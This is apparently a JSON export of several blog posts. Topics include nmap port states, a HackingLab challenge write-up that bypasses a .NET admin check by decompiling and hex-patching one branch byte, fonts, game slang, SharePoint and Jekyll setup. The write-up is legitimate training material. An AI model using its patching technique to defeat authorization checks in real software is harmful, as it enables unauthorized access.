class=\"cl\"\u003e22/tcp    open     ssh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e443/tcp   open     https\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e1024/tcp  filtered kdm\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e1084/tcp  filtered ansoft-lm-2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e1863/tcp  filtered msnp\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e3128/tcp  open     squid-http\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e3333/tcp  filtered dec-notes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e4900/tcp  filtered hfcs\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e9943/tcp  filtered unknown\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e30000/tcp open     unknown\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e38292/tcp filtered landesk-cba\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e40911/tcp filtered unknown\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e52673/tcp filtered unknown\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhat exactly is the difference between two ?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eClosed Port\u003c/strong\u003e: If you send a SYN to a closed port, it will respond back with a RST.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFiltered Port\u003c/strong\u003e: Presumably, the host is behind some sort of firewall.  Here, the packet is simply dropped and you receive no response (not even a RST).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOpen Port\u003c/strong\u003e: If you send a SYN to an open port, you would expect to receive SYN/ACK.\u003c/li\u003e\n\u003c/ul\u003e","title":"Difference between Filtered vs Closed Ports"},{"content":"Compass Security has come up with a hacking challenge on their site. The challenge consist of an .NET client having some hidden functionality which needs to be uncovered by the user. I decided to give it a try.\nRequirements Download Application: DotNetFatClientHacking.exe Tools used in the trade Reflector or now better DotPeek ILDasm Hex Editor MSDN Solution Let\u0026rsquo;s run our .NET assembly and see what it looks like. Its a normal Windows Form application with just one button which does nothing. I could not figure out anything else from the application.\nLet\u0026rsquo;s open the assembly in Reflector and see what it\u0026rsquo;s doing.\nFrom the reflector, I could figure out the following\nThe form has got actually 3 buttons, 2 are hidden There is a BusinessClass class in the assembly which is invoked by the hidden buttons The visible button checks if the user is Admin and hides or shows the other two buttons Now, our job is to become the Admin :) . That\u0026rsquo;s the code which is called by the Visible button Identify me\nprivate void identifyUser() { if (this.IsAdmin()) { this.labUser.Text = \u0026#34;Welcome Admin!\u0026#34;; this.butAdminHTTP.Visible = true; this.butAdminHTTPS.Visible = true; } else { this.labUser.Text = \u0026#34;Welcome User!\u0026#34;; this.butAdminHTTP.Visible = false; this.butAdminHTTPS.Visible = false; } } Clearly, our main interest is in IsAdmin() function which is defined as follows:\nprivate bool IsAdmin() { foreach (object obj in Dns.GetHostEntry(Dns.GetHostName()).AddressList) { if (obj.ToString().Equals(\u0026#34;258.54.54.699\u0026#34;)) return true; } return false; }\tHmmm. Very Interesting !!!\tDo you understand what is it doing ?\nIt basically retrieving the host name of our computer and based on that hostname getting all the IP addresses assigned to the network interfaces present in the system. If any of its IP address matches 258.54.54.699, I am the Admin :).\nNow the interesting part here is that 258.54.54.699 is actually an invalid IP address otherwise I could have fooled the program by temporarily assigning this IP address to either one of my interfaces or even write that in hosts file.\nBut since its invalid IP, it will never be returned by system API. So, we must patch the program.\nLet\u0026rsquo;s open the function in ILDASM and look at its disassembly.\nIL_001c: ldloc.1 IL_001d: callvirt instance string [mscorlib]System.Object::ToString() IL_0022: ldstr \u0026#34;258.54.54.699\u0026#34; IL_0027: callvirt instance bool [mscorlib]System.String::Equals(string) IL_002c: brfalse.s IL_0032 IL_002e: ldc.i4.1 There are several ways to do it. I will write down from tedious to easiest\nExport the classes from Reflector to Visual Studio solution and change the IP address to our actual IP address. But then Why not just NOP out the call itself :). This requires boring effort Use the ILASM or any other utility to change the instruction at ldstr \u0026ldquo;258.54.54.699\u0026rdquo; to ldstr actual ip. Even this requires some effort Easiest Way: Actually we can just take advantage of if-else branch reversal. Let\u0026rsquo;s take a look at disassembly of identifyuser() function\nIf you closely look at the disassembly above, the instruction at IL_0006 is doing all the magic which is\nIL_0006: /* 2C | 29 */ brfalse.s IL_0031 What this instruction means is that if output of IsAdmin() is false, branch to instruction at IL_0031, the instruction which hides the buttons. Now, we can just change this instruction to reverse, i.e. make it brtrue.s. A quick look at MSDN tells me that its opcode is 2D as opposed to 2C which stands for brfalse.s.\nNow, we just need to fire up the favourite hex editor and change just one byte. from 2C to 2D.\nOffset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 000005A0 02 28 02 00 00 06 02 28 05 00 00 06 2A 1E 02 28 000005B0 05 00 00 06 2A 00 00 00 03 30 02 00 5A 00 00 00 000005C0 00 00 00 00 02 28 06 00 00 06 2D 29 02 7B 02 00 000005D0 00 04 72 F5 00 00 70 6F 1E 00 00 0A 02 7B 04 00 Our target lies at offset 5CA which I have already flipped from 2C to 2D as shown above. Let\u0026rsquo;s save the file and run it again.\nVoilla !!! The Administrative buttons are visible and clicking them invokes the Business functions which fetch some HTML output over the internet :)\n","permalink":"https://madhur.co.in/blog/2011/09/10/hackchallenge.html","summary":"\u003cp\u003eCompass Security has come up with a hacking challenge on their \u003ca href=\"https://www.hacking-lab.com/sh/LAE04Jf\"\u003esite\u003c/a\u003e. The challenge consist of an .NET client having some hidden functionality which needs to be uncovered by the user. I decided to give it a try.\u003c/p\u003e\n\u003ch2 id=\"requirements\"\u003eRequirements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDownload  \u003ca href=\"http://media.hacking-lab.com/largefiles/7205/DotNetFatClientHacking.exe\"\u003eApplication: DotNetFatClientHacking.exe\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"tools-used-in-the-trade\"\u003eTools used in the trade\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://www.reflector.net/\"\u003eReflector\u003c/a\u003e or now better \u003ca href=\"http://www.jetbrains.com/decompiler/\"\u003eDotPeek\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eILDasm\u003c/li\u003e\n\u003cli\u003eHex Editor\u003c/li\u003e\n\u003cli\u003eMSDN\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"solution\"\u003eSolution\u003c/h2\u003e\n\u003cp\u003eLet\u0026rsquo;s run our .NET assembly and see what it looks like. Its a normal Windows Form application with just one button which does nothing. I could not figure out anything else from the application.\u003c/p\u003e","title":"HackingLab Challenge: Disassemble .NET Clients"},{"content":"Recently I have been observing the change in the trend in the preferred font for programming.\nBack in the earlier days Courier New used to be the preferred font for programming. This was the default font in Visual Studio 2008. However, with later operating Systems and tools such as Visual Studio 2010, Consolas is becoming the top preferred font for programming.\nThe screenshot below shows the same code with Courier New and Consolas.\nThe prime difference between two fonts is that Consolas is Clear Type optimized font. Clear Type is the Microsoft implementation of True Type.\nProgrammers also need to work with Console and terminals as well be it Win OS or Linux. Still in Windows 7, 2008 R2, font in Command Prompt or Powershell is by default set to Raster fonts which by default maps to either Terminal.\nYou might be wondering why there are only limited options to set the font in Command prompt or Powershell. You can enable more options by editing the registry as outlined in this KB article.\nThe reasoning for this is also detailed by veteran MS employee Raymond Chen in his The Old new thing blog\nConsolas works even better with Consoles and terminal windows as well. The screen shot below compares Terminal and Consolas in command prompt. Decide for yourself.\nI have also switched from Terminal to Consolas in my favourite editor Notepad++. It definitely looks better, see below\nInstalling Consolas in Linux You might also want to use Consolas in Linux terminal and Gedit, Gvim or vim.\nMethod 1 Create a \u0026lsquo;.fonts\u0026rsquo; folder in your home directory and copy the necessary fonts into it. Now you have access to the fonts on a per user basis.\nMethod 2 First find out in which location linux has installed the truetype fonts.\nfind /usr -iname \\*.ttf |head -n 5 Once you know the path of the fonts directory, move to this directory and create a folder there (it can be any name). Next copy all the windows ttf fonts to the windowsfonts directory that was just created.\nNow change the ownership of the fonts as well as make sure they have a right of 644 .\n# chown root.root *.ttf # chmod 644 *.ttf Run the command mkfontdir while in the windowsfonts directory.\n# mkfontdir This will create an index of the fonts in the directory. It will also create two files fonts.dir and fonts.cache-1 . Now moving to the parent directory, edit the file fonts.cache-1 using your favourate editor and append the following line to it.\nFile: /usr/share/fonts/truetype/fonts.cache-1 ... \u0026#34;windowsfonts\u0026#34; 0 \u0026#34;.dir\u0026#34; Lastly run the command fc-cache.\nfc-cache Other good programming fonts Inconsolata Proggy Clean Terminus Fixed Sys Andale Mono Anonymous Terminus References http://www.codeproject.com/KB/work/FontSurvey.aspx ","permalink":"https://madhur.co.in/blog/2011/09/09/bestfontscode.html","summary":"\u003cp\u003eRecently I have been observing the change in the trend in the preferred font for programming.\u003c/p\u003e\n\u003cp\u003eBack in the earlier days \u003cem\u003eCourier New\u003c/em\u003e used to be the preferred font for programming. This was the default font in Visual Studio 2008.\nHowever, with later operating Systems and tools such as Visual Studio 2010, \u003cem\u003eConsolas\u003c/em\u003e is becoming the top preferred font for programming.\u003c/p\u003e\n\u003cp\u003eThe screenshot below shows the same code with Courier New and Consolas.\u003c/p\u003e","title":"Best fonts for programming"},{"content":"My Voobly profile: http://www.voobly.com/profile/view/123345975\nChat Slangs fc : Fast Castle gg : Good game - Originally used by defeated players to wish the winners. But now even used as synonym of inevitable defeat as in if he attacks, its gg :) hf: Have fun gl : Good luck drush, flush, crush : Dark , Feudal, Castle rush respectively bbt : Bombard towers ec: Elite consquitador noob: A beginner in AOE multiplayer gaming Map Types Michi: a type of game map that uses impassable terrain (usually forest) to prevent players from rushing or coming into contact until the intervening terrain is cleared ga: Green Arabia bf: Black Forest dm: Death Match ln ffa: Land Nomad Free for all - A type of map with villagers placed randomly on the map and without town center Voobly specific fmt: Friends may team tg: Team Game fp : Fast proxy - A player who does\u0026rsquo;t have port forwarding properly configured uses fast proxy server. Results in lag in game. ","permalink":"https://madhur.co.in/blog/2011/09/06/aoeslang.html","summary":"\u003cp\u003eMy Voobly profile: \u003ca href=\"http://www.voobly.com/profile/view/123345975\"\u003ehttp://www.voobly.com/profile/view/123345975\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"chat-slangs\"\u003eChat Slangs\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efc\u003c/strong\u003e : Fast Castle\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003egg\u003c/strong\u003e : Good game - Originally used by defeated players to wish the winners. But now even used as synonym of inevitable defeat as in \u003cem\u003e\u003cstrong\u003eif he attacks, its gg :)\u003c/strong\u003e\u003c/em\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehf\u003c/strong\u003e: Have fun\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003egl\u003c/strong\u003e : Good luck\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edrush, flush, crush\u003c/strong\u003e : Dark , Feudal, Castle rush respectively\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebbt\u003c/strong\u003e : Bombard towers\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eec\u003c/strong\u003e: Elite consquitador\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enoob\u003c/strong\u003e: A beginner in AOE multiplayer gaming\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"map-types\"\u003eMap Types\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eMichi\u003c/strong\u003e: a type of game map that uses impassable terrain (usually forest) to prevent players from rushing or coming into contact until the intervening terrain is cleared\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ega\u003c/strong\u003e: Green Arabia\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebf\u003c/strong\u003e: Black Forest\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edm\u003c/strong\u003e: Death Match\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eln ffa\u003c/strong\u003e: Land Nomad Free for all - A type of map with villagers placed randomly on the map and without town center\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"voobly-specific\"\u003eVoobly specific\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efmt\u003c/strong\u003e: Friends may team\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etg\u003c/strong\u003e: Team Game\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efp\u003c/strong\u003e : Fast proxy - A player who does\u0026rsquo;t have port forwarding properly configured uses fast proxy server. Results in lag in game.\u003c/li\u003e\n\u003c/ul\u003e","title":"AOE slang"},{"content":"I was recently asked how to remove the Editor Parts (Appearance, Layout, Advanced, etc) from custom Web Parts.\nclass MyEditorPart : EditorPart { protected override void CreateChildControls() { // this line hides the default EditorParts Parent.Controls[2].Visible = false; base.CreateChildControls(); } public override bool ApplyChanges() { // do stuff here return true; } public override void SyncChanges() { // do stuff here } } public class MyWebPart : WebPart { public override EditorPartCollection CreateEditorParts() { ArrayList aryParts = new ArrayList(); MyEditorPart myEditor = new MyEditorPart(); myEditor.ID = this.ID + \u0026#34;_myEditorPart\u0026#34;; aryParts.Add(myEditor); return new EditorPartCollection(aryParts); } // do more stuff here... } ","permalink":"https://madhur.co.in/blog/2011/09/06/hidingproppane.html","summary":"\u003cp\u003eI was recently asked how to remove the Editor Parts (Appearance, Layout, Advanced, etc) from custom Web Parts.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-csharp\" data-lang=\"csharp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyEditorPart\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eEditorPart\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003eprotected\u003c/span\u003e \u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eCreateChildControls\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e        \u003cspan class=\"c1\"\u003e// this line hides the default EditorParts\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eParent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eControls\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eVisible\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCreateChildControls\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003epublic\u003c/span\u003e \u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eApplyChanges\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"c1\"\u003e// do stuff here\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003epublic\u003c/span\u003e \u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eSyncChanges\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"c1\"\u003e// do stuff here\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-csharp\" data-lang=\"csharp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyWebPart\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eWebPart\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003epublic\u003c/span\u003e \u003cspan class=\"kd\"\u003eoverride\u003c/span\u003e \u003cspan class=\"n\"\u003eEditorPartCollection\u003c/span\u003e \u003cspan class=\"n\"\u003eCreateEditorParts\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e \u003cspan class=\"n\"\u003earyParts\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eMyEditorPart\u003c/span\u003e \u003cspan class=\"n\"\u003emyEditor\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"n\"\u003eMyEditorPart\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003emyEditor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eID\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eID\u003c/span\u003e \u003cspan class=\"p\"\u003e+\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;_myEditorPart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003earyParts\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAdd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emyEditor\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"n\"\u003eEditorPartCollection\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earyParts\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// do more stuff here...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Removing the Default Editor Parts from SharePoint Web Parts"},{"content":"There are 3rd party migrators avilable to migrate from Wordpress blog to Jekyll based blogs. In this post, I am going to outline simple process of migrating most 3rd party blogs to Jekyll based blogs. Most of the blog web sites support a common interface called MetaWeblog.\nFor example, on telligent based blogs, this can be accessed as follows:\nhttp://blogs.msdn.com/b/mahuja/metablog.ashx\nThe RFC of this interface is given here\nThe metablog interface exposts a common set of methods to retrieve the blog data using XML-RPC communication.\nSince this API is exposed from the Weblogs providers, programmer have to use a client-side programming model to communicate with it according to the XML-RPC protocol.\nI have created and published this C# programming wrapper which allows us to easily develop C# client applications that consumes this API via a service.\nDownload my sample wrapper from the github repository here. Create a .Net application and reference the CookComputing.XmlRpc that come in the above repository Create a class for the API provided. Notice that the above post contains an implemention of IBlogger interface, which is decorated with [XmlRpcUrl(\u0026ldquo;http://blogs.msdn.com/metablog.ashx\u0026quot;)] attribute.\nDon\u0026rsquo;t forget to change the URL of your Community Server Blogs metaBlog.\nNow you can easily use the proxy in your code.\nclass Program { static void Main(string[] args) { IBlogger proxy = MetaBlogAPIFactory.Create(); PostInfo[] posts = proxy.getRecentPosts(\u0026#34;mahuja\u0026#34;, \u0026#34;mahuja@microsoft.com \u0026#34;, \u0026#34;sdfsdf\u0026#34;, 1000); IJekyllFiles jekyllFiles = new JekyllFiles(); foreach (PostInfo post in posts) { List\u0026lt;MappingEntry\u0026gt; sampleYaml=jekyllFiles.GetSampleYaml(); List\u0026lt;MappingEntry\u0026gt; newYaml = jekyllFiles.SetYaml(post, sampleYaml); string filename = jekyllFiles.GenerateFileName(post); jekyllFiles.GenerateFileOutput(post, filename, newYaml, \u0026#34;description\u0026#34;); Console.WriteLine(\u0026#34;{0} written successfully\u0026#34;, filename); } Console.ReadLine(); } } To generate the YAML header for the files, I have re-used publically available YAML parser. We can choose from several available YAML parsers:\nhttp://www.codeproject.com/KB/recipes/yamlparser.aspx http://yaml.codeplex.com/ http://yaml-net-parser.sourceforge.net/ ","permalink":"https://madhur.co.in/blog/2011/09/01/migratingblogtojekyll.html","summary":"\u003cp\u003eThere are 3rd party migrators avilable to migrate from Wordpress blog to Jekyll based blogs. In this post, I am going to outline simple process of migrating most 3rd\nparty blogs to Jekyll based blogs. Most of the blog web sites support a common interface called \u003cem\u003e\u003cstrong\u003eMetaWeblog\u003c/strong\u003e\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eFor example, on telligent based blogs, this can be accessed as follows:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.msdn.com/b/mahuja/metablog.ashx\"\u003ehttp://blogs.msdn.com/b/mahuja/metablog.ashx\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe RFC of this interface is given \u003ca href=\"http://www.xmlrpc.com/metaWeblogApi\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe metablog interface exposts a common set of methods to retrieve the blog data using XML-RPC communication.\u003c/p\u003e","title":"Migrating 3rd party blogs to Jekyll"},{"content":" Update: If you would like to directly download the portable version of Jekyll. See my new blog post here Update (26/06/14): This article is bit outdated and no longer deemed official instuctions to get Jekyll running on Windows. Please see this article for more updated and authoritative source of instructions. Jekyll can also be made to run on Windows Operating System. This prefer when I am working on my office laptop which has Windows 7 installed on it.\nFollowing packages are required to setup Jekyll on Windows:\nRuby \u0026amp; Ruby Development Kit : Can be installed from here Jekyll Python : I strongly recommend using 2.7.5 as opposed to version 3. I used the portable version available here Pygments 1 Install the Ruby from http://rubyinstaller.org/downloads/ and install it to path such as C:\\ruby\n2 Download \u0026ldquo;DEVELOPMENT KIT\u0026rdquo; installer that matches the Windows architecture and the Ruby version just installed. For example, DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe is for 64-bit Windows with Ruby 2.0.0 x64. Install the Ruby development kit from the same location above and extract it to path such as c:\\devkit.\nRun the following commands\nruby dk.rb init to generate the config.yml file to be used later in this Step\n3 Edit the generated config.yml file to include installed Rubies. For example, in our case, it will look like this\n# This configuration file contains the absolute path locations of all # installed Rubies to be enhanced to work with the DevKit. This config # file is generated by the \u0026#39;ruby dk.rb init\u0026#39; step and may be modified # before running the \u0026#39;ruby dk.rb install\u0026#39; step. To include any installed # Rubies that were not automagically discovered, simply add a line below # the triple hyphens with the absolute path to the Ruby root directory. # # Example: # # --- # - C:/ruby19trunk # - C:/ruby192dev # --- - C:/ruby 4 Run the following command to install to DevKit enhance your installed Rubies. This step installs (or updates) an operating_system.rb file into the relevant directory needed to implement a RubyGems\nruby dk.rb install 5\tInstall Jekyll using following command\ngem install jekyll 6 Now, you can start using Jekyll. If you require code highlighting using pygments as well, follow the additional steps as well.\n7 Now we need to install, easy_install. This can be installed from http://pypi.python.org/pypi/distribute Download distribute_setup.py and run the following command in python\npython distribute_setup.py 8 Now to install pygments, simply run this command:\nNote that using Pygments version 0.5.0 is highly recommended. Latest version of Pygmnents has issues with Jekyll.\neasy_install Pygments 9 Start Jekyll\nFollowing the commands on official Jekyll Quick-start guide, a new Jekyll blog should be able to be created and browsed at localhost:4000.\njekyll new myblog cd myblog jekyll serve Now browse to http://localhost:4000\n#Troubleshooting#\nLiquid error: Bad file descriptor You are likely to hit this error if you are using Python version \u0026gt;3 as opposed to 2.7.5 as mentioned in the beginning\nLiquid error: Bad file descriptor TypeError: Can\u0026#39;t convert \u0026#39;bytes\u0026#39; object to str implicitly These are known issues and the resolution has been discussed here: https://github.com/rtomayko/posix-spawn/issues/17\nThis requires a change in 